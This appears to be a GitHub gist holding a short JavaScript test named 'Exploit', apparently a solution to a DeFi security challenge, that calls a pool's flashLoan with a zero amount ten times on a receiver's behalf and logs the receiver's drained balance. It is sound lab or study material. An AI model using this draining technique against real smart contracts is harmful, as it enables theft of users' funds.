Skip to content

Instantly share code, notes, and snippets.

@az0mb13
Last active January 21, 2023 16:09
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
Embed
What would you like to do?
it('Exploit', async function () {
this.pool.connect(attacker);
for (i = 1; i <= 10; i ++) {
this.pool.flashLoan(this.receiver.address, 0)
}
console.log(await ethers.provider.getBalance(this.receiver.address))
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment